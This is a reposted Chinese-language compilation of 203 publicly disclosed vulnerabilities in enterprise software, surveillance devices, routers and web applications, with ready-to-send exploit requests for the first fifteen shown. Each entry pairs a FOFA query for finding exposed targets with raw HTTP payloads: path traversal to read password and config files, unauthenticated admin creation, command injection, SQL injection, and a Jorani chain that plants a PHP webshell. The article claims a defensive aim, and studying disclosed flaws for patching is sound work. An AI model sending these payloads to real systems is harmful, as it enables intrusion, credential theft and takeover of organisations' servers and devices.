互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
/ d3 g) V# [! P5 P6 M道一安全 2024-06-05 07:41 北京
( a, o# J8 ^! t" k1 }2 a, O以下文章来源于网络安全新视界 ，作者网络安全新视界
% U* G+ \/ H: M6 x$ q1 [' {
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

+ ]0 K) A3 r4 j9 c; a漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
! v& y- z6 m: \- A
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
* Q! Y$ z+ T' Q3 h# c6 j5 L
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
. v$ R' T8 X& {# V+ N
5 m+ m2 J( j3 D2 Z" z, w  r. z; p合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
, Q8 m6 j8 ~  O# o+ u7 z6 b
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
9 e! `3 p( `* n! D& o# v- r: P/ p
% y; w* ~5 w. r& \9 l$ T0 _有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


0 Q  x$ B" Y: Q% r2 Y# _
2 m6 ]2 g8 V2 v2 ]# x2 ~6 ?目录
# I9 O; q5 L" F, K+ v3 F/ J' L
01

+ D5 x# R  h2 L' W$ y7 s% @9 p1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
+ R# `5 k# {# G& T3 a3. EasyCVR智能边缘网关 userlist 信息泄漏
; x1 ~" O5 o; G$ l9 [" H4. EasyCVR视频管理平台存在任意用户添加
+ [: I3 f2 I5 J9 {7 D* K5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
# }+ j  M- Z- i1 t' c7 I0 M% }7. 鸿运主动安全监控云平台任意文件下载
; `; X' J( C4 a7 q5 x6 R; @8. 斐讯 Phicomm 路由器RCE
$ }4 m* h" e" @/ P# a9. 稻壳CMS keyword 未授权SQL注入
4 }7 x9 C; y7 w/ P8 D5 S7 c/ a10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- v9 {4 c/ R3 C+ ?11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
( B- S( y$ |/ l" P  f6 S12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
# }% y( Y8 a9 w. N) p. m1 r15. 华夏ERP getAllList信息泄露
9 i3 ^1 G- R5 B% C6 E! a: ^16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
1 |- v- w* X1 b$ x18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
# J+ r+ x. ?" @# Q7 ^20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
: C4 U5 {" m0 c! K- [22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
! e- _. ?9 q+ B( z$ N* T25. 用友NC registerServlet JNDI 远程代码执行
! L7 C6 m5 }+ R6 G26. 用友NC linkVoucher SQL注入
5 h2 e% Y: ~; B2 V27. 用友 NC showcontent SQL注入
# E- M. H2 u2 L$ S% F7 m28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
" s  p% J( F) d+ \30. 用友NC importPml SQL注入
4 T' J: }  e: k; d; J2 S; ]2 \31. 用友NC runStateServlet SQL注入
+ ?9 P$ |. H! V. Q3 B32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
3 ]7 ~$ ^& P1 u" X2 r& \) Z$ h36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
: ?  S0 W  e/ g1 ~6 \  a40. 用友U8-Cloud XChangeServlet XXE
5 `/ N' d2 o+ o' e3 S! i41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 u3 Z9 N. G  W* U1 r# ]  \42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
% `( F8 Z1 J& q# J! O9 k5 ^44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
4 m" p8 t3 r( A: l/ Q: o46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ s; d% F6 m7 \+ c52. 泛微E-Office json_common.php sql注入
! p3 V; e. l8 r7 p$ D5 U" L53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( u7 z' Z, Z; e4 k8 e- R4 M" t3 h55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
6 `7 N5 w) Z0 P; ]& K57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
! ?7 p" Y7 A6 Y* L( l. D59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
0 ]0 T) K/ i, h( Y' g7 s' \61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
1 q7 \! p' @; z62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
  d5 F! U4 i8 p65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
" F2 f# l( D, b, g9 h66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
# F* M' B6 Z, Z2 u/ q67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
# X6 X' F: b$ |71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
7 W6 y  ~- g! A2 C1 R' H! v* M72. 致远OA getAjaxDataServlet XXE
. l' g  q) O& A6 ]/ r* d73. GeoServer wms远程代码执行
, a% _  P. u$ q7 W74. 致远M3-server 6_1sp1 反序列化RCE
* G6 a2 {+ E8 ~75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ k3 w8 B- S; A9 d. v, p78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
! g. |7 A9 A# [3 l6 O& e80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
/ q* ]/ [; N- N8 l2 |81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
" d5 ?5 V. `5 l& k1 Q7 o3 i1 @7 E87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ _* d0 ]7 q. }+ p* [1 {/ {- g; N89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
; P7 k: \9 A/ |7 Y/ a+ o6 G) R95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
& C+ X7 i% B9 c' K5 B98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
0 b; [4 C) s/ W: I0 u" I; K3 r102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
8 l, x# W# J  `( Y: F103. Ivanti Pulse Connect Secure VPN XXE
* d2 K0 T, b+ O# \  k104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
, X  a1 A; a0 K/ T1 I9 G' {" a% p105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
* ~2 Y# ?7 J5 a5 m; a6 v8 m116. wordpress js-support-ticket文件上传
3 r/ Z& E2 ~, p# V) G9 w; M117. WordPress LayerSlider插件SQL注入
  B* `0 @, h4 ~5 h! T. A118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
# Q* [5 W* v( a5 b121. 北京百绰智能S42管理平台userattestation.php任意文件上传
& A: Z* i! E; v* X! _. T122. 北京百绰智能s200管理平台/importexport.php sql注入
; W/ U) z; N. h% m* m$ K7 V123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
. O$ _# p7 A  W( H8 M$ C! \1 L8 G128. Adobe ColdFusion 反序列化
8 g5 `$ ~4 D5 H; b/ H) A129. Adobe ColdFusion 任意文件读取
6 I1 E, @7 z. V" [! d130. Laykefu客服系统任意文件上传
. ~2 N' B- u8 [0 i# R' i131. Mini-Tmall <=20231017 SQL注入
& T# f0 e5 ~& V. |. d132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 n* n$ R9 @: Q& l133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
! Z& i1 T2 x7 l& H136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
& Y' z" \. j% ~140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
# c& q( J6 F2 o0 `, E% a* Q* A142. CMSV6车辆监控平台系统中存在弱密码
8 ]2 G5 a+ n# b0 G$ X& N1 e! Z/ |143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
: _9 Z* M5 w. `& ?) y' [1 W) z0 `148. CrushFTP 认证绕过模板注入
, c  b! w7 I3 [" e3 y149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
% f! Z/ _+ }# o3 [9 ~7 }152. Progress Kemp LoadMaster 远程命令执行
7 q1 `! L% |; ^; e153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
) v8 O+ ~' o% o+ K158. Mura-CMS-processAsyncObject存在SQL注入
, b3 g9 `' {& N7 q- h159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
$ H: P6 q9 W+ q0 [$ ]; G7 k, n4 m: Q161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
9 I+ N: \& r! _8 a' s; D$ D8 g163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
, @$ z" p1 k  U- N- y8 q  n165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
2 |. R) k5 z2 O$ s167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 g9 u% t+ Z8 f, q9 ?+ {168. 宏景EHR OutputCode 任意文件读取
: V  e! i7 Q6 e% h  a169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
3 [% C; h. `7 X6 G- b; E172. DT-高清车牌识别摄像机任意文件读取
0 m6 e9 i; x" O( n9 k' f  X173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
) e  _, V% d* L177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
! E: n9 B7 K9 C6 N0 W# W+ Y1 I180. 帮管客 CRM jiliyu SQL注入
( }& t% N9 A) f181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
2 z$ e& F  y8 k8 g182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
6 w5 f2 D7 j/ g+ ]0 ~$ f4 j6 L185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
; |+ b( d* x7 T187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
% C+ E& s" x+ z4 E1 F4 ]189. 蓝网科技临床浏览系统 deleteStudy SQL注入
8 D5 u1 U% s$ D  Y190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* j$ W. t& w/ t2 N& z- ]194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
- \$ @  G8 K* U195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
; n) b5 D& E: ]196. 河南省风速科技统一认证平台密码重置
9 v- l/ V9 d0 O+ s8 ?3 f, G5 h197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# I8 o. F/ A- V5 o, e198.  阿里云盘 WebDAV 命令注入
9 |2 Q- M0 A* H/ F199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
7 g. g, s7 L" `! F201. 方正全媒体新闻采编系统 binary SQL注入
! z9 v: z/ X- r6 d202. 微擎系统 AccountEdit任意文件上传
/ b9 T: D9 Q( J  \' F) S203. 红海云EHR PtFjk 文件上传
0 Q9 a9 |- G( ^. c4 s" z/ s. g
POC列表
2 ?- j7 \0 N2 Z, i$ v( x
$ e- g$ n+ x# x02

2 B% h: O( D9 f! O) m  Y1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
% @$ t. T- K% m) H+ yGET /mem_tracker HTTP/1.1
/ ~2 d' O6 Z# {' J! H3 ?Host: URL

+ f4 o( s* ?, C! B" W
( b' }. I4 I' L  }% Q' v9 |2. Casdoor系统static任意文件读取
4 Y2 U3 K( X6 j' ~) k: D. p- ^FOFA ：title="Casdoor"
: Y; N9 l; r' yGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
3 V) H% N- j  e4 kHost: xx.xx.xx.xx:9999
& U1 W% ^* u! t/ \8 y& jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 ~5 ~4 d" R- Y" L/ N0 aConnection: close
0 O0 ^4 ]1 x2 N. {+ R% YAccept: */*
- Q5 V" [) A8 `7 CAccept-Language: en
* x+ N, O0 T* R* d6 P. p4 ?- R% `3 |Accept-Encoding: gzip

3 Y& }' K% L: s0 n8 u, x6 d! x
2 ~. y- N! z4 y3 @9 ]3. EasyCVR智能边缘网关 userlist 信息泄漏
) @" f, R; A6 P7 PFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
) X& ?8 {, h) e/ R9 y+ v3 P5 C
$ {5 \% e+ o; h5 W
, ]5 r! F" E1 e; X4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

% e/ h) K8 I7 w! q- r$ E# u0 Ypassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
( f* m- d& q& ^9 ?Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
* O. D% A- F$ G6 Y' N
' k! `! w$ ?& c. lname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

8 J5 g3 D% Q* q% J# g* R2 `
5. NUUO NVR 视频存储管理设备远程命令执行
" I1 B: `2 _! c# ~; F# K: JFOFA：title="Network Video Recorder Login"
6 n* P( \  l& T! K! p% N0 MGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
( F5 e& M! x. _! U5 {+ \$ F$ @
1 w) c3 {- D% C  I" N' d
6. 深信服 NGAF 任意文件读取
! h  r! l7 U" j$ b2 ^FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
/ k2 R; s' E1 }! j4 T' x8 `( `# |, HHost:

) z' F  z& X2 [- f
* w& k& e+ G0 ?' o. t. t7. 鸿运主动安全监控云平台任意文件下载
: x: x! L% ?- F/ ]: hFOFA：body="./open/webApi.html"
5 ], H( K7 I) p, ?" u* Q7 _6 JGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
. w: O2 v3 A8 b2 Z, i4 e2 K0 ~Host:


8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
% W8 G0 }$ [6 q9 T" ^默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
' L$ _! I+ }  b: r9 }7 e. nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
: ]* Q3 ]! H5 B5 H5 iUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 K9 L# }# K; w# w
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
( O& {. s( t# p/ E5 j: u7 J7 [' O. ]
6 R5 ^2 d8 B& q6 S%s
------WebKitFormBoundaryxbgjoytz
- j* g/ N+ j1 D. a* IContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
5 [0 T( r1 v5 s6 x/ y$ U: u------WebKitFormBoundaryxbgjoytz
3 @/ V5 U/ d( J0 y$ S3 B( [& eContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
  E7 \2 w$ ^6 B3 X

------WebKitFormBoundaryxbgjoytz--
9 V! G) ?% K4 R

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
- G7 w* Q5 X' }( M' q' rGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
$ m6 n; ~7 z& L& kHost: x.x.x.x
4 h% \4 w( p/ S6 ^
) v6 i; ^- B7 N$ z) C2 r
# |) n8 T& M8 c* t9 upayload为下列语句的二次Url编码
# u7 S; \( k2 r) |  ], y* Y1 t
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

: F# Q0 ^+ l6 {" l9 c5 d) W" M10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 j& ~7 Q$ y4 z  }; N! L7 dFOFA：icon_hash="953405444"

- [8 w# ]  T5 W! p/ o文件上传后响应中包含上传文件的路径
2 N7 [- N" [+ C* C6 DPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
8 }" Y  w3 m- w# ]$ j; dHost: x.x.x.x:xx
7 [1 N3 r& @2 G/ M( Z$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
0 o3 f7 p& R7 z  e  F! lContent-Length: 197
$ ^7 ^/ E3 a" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: K- |' s* B' V7 }$ W4 R4 K! r) ]Connection: close
! t0 d9 M! |7 k1 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
, h) g" e8 _6 Z( b+ d! j
* [2 Y- E  j4 K0 v------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
6 ]- \( e6 {2 i; i) U/ W. q
1 h( H( v; R7 v! Y" @; }4 |! ~. V0 W  tjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' A7 ^) H9 d2 [2 b0 v: zFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
2 B! ]+ G; v9 {! [1 }" UHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* q  x( h; U3 {2 w0 Q1 oAccept-Encoding: gzip, deflate
2 ?- l2 s+ c6 e1 w4 {" xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

0 m3 k1 Y( g- v
0 z7 q# y% G  W! X12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
% w7 ^) t) O0 v, D8 y第一步先拿到cookie
2 p8 F& D- i" @GET /session/login HTTP/1.1
. z; ]4 c  j* K( T- m1 m# cHost: 192.168.190.30
  N0 g& p# D9 P7 r* e- y9 D/ lUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
' r; \4 m" n+ {% zConnection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
7 R3 y. {" ]$ E% m% d- P4 n8 FConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
' m! b8 m4 E/ Z6 ^Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
- I1 T& U1 ~! F* `Server: Apache/2.4.54 (Debian)
9 q* p- I) l1 y4 e; fSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
3 R6 s6 r/ {8 E& oSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
& z8 Z. `  u2 c
+ q. O  Y, `+ d# x; D* e
POST请求，执行函数并进行base64编码
; n, z( c% K6 E' M, L; }; APOST /session/login HTTP/1.1
5 u& ^- z" d4 S% yHost: 192.168.190.30
$ L' s/ I4 i$ t  |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# J% d+ n0 w6 c- i2 w, {Connection: close
: Y5 r+ a" n% ]0 r. B% b* R! B) HContent-Length: 252
9 u% b+ V2 Z; v7 b8 J4 V3 EContent-Type: application/x-www-form-urlencoded
: Z+ H7 \( c8 \" J+ _: |1 `9 ICookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
* `  v1 w: @- W: D% ~Accept-Encoding: gzip
2 }: _" h% x) @: ^+ K
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
$ x9 C; ~+ W# k" Q. W' x: e' p3 }; _+ n( F
( E- u  K5 G4 r" P( A3 ?8 `

. [7 }9 R7 a* C* a& _向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
( X2 y3 c" {1 n! i4 ~GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 v- J8 F: A+ B' G  x5 t6 dConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

: R" F) c6 l* q- H) ]- I, C
( s; M6 y: X: I  R. R7 a7 k13. 红帆iOffice ioFileDown任意文件读取
6 K! _2 A7 m9 k& u4 S5 XFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
* W7 b  y. W" P6 p2 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. z8 H) I' r) p; ?1 {. K* X0 kConnection: close
Accept: */*
Accept-Encoding: gzip
, _9 p9 v3 q! O5 s, M3 T
( n# Z! D& Z4 m7 ?
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
. Q& a& k, h( @1 A" a, G, pGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
: [* G$ _' Q7 m5 }. b/ iHost: x.x.x.x
- b3 x% m+ e2 a' Z4 j* h& kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
7 W8 |5 g: O) u; tConnection: close
3 ?7 {; d. o  MAccept: */*
Accept-Language: en
& Q1 [+ G9 R4 b! M8 m. jAccept-Encoding: gzip
, [5 m2 k6 Z8 O  h8 c0 e( K

5 w5 n% \% a( e$ a15. 华夏ERP getAllList信息泄露
4 Q# x  i: Q& y& BCVE-2024-0490
FOFA：body="jshERP-boot"
2 W" ^' n( f; y* S' ]2 h泄露内容包括用户名密码
  ^5 }. o. w9 u) @) AGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
